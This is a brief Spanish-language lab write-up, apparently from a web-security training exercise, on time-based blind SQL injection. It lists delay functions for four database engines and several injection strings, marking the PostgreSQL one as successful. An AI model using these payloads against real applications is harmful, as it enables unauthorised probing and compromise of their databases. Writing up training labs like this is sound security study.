💃Laboratorio: Inyección SQL ciega con retrasos de tiempo

Vamos a tratar con Delays

Como vimos las inyecciones SQL no muestran nada significa que la aplicacion ha sido creada pensando en este tipo de ataques, para ese caso intentaremos atacar por un retraso en la consulta para ver que podemos encontrar, cabe aclarar que los comandos de retrasos en SQL varían segun la Base De Datos, como a continuación:

Oracle

dbms_pipe.receive_message(('a'),10)

Microsoft

WAITFOR DELAY '0:0:10'

PostgreSQL

SELECT pg_sleep(10)

MySQL

SELECT SLEEP(10)

Vamos a probar primero con Oracle.

'dbms_pipe.receive_message(('a'),10)--
'AND (dbms_pipe.receive_message(('a'),10))--
'||(dbms_pipe.receive_message(('a'),10))--

'WAITFOR DELAY '0:0:10'--
'||WAITFOR DELAY '0:0:10'--

'SELECT pg_sleep(10)--
'||SELECT pg_sleep(10)--
'||pg_sleep(10)-- #CORRECTO.

'SELECT SLEEP(10)--
PoC - Solved!

En este caso pudimos llevar a cabo el ataque mediante el comando SQL para la BD PostgreSQL, ahora bien lo que hicimos fue mantener un retraso de 10 segundos.

Last updated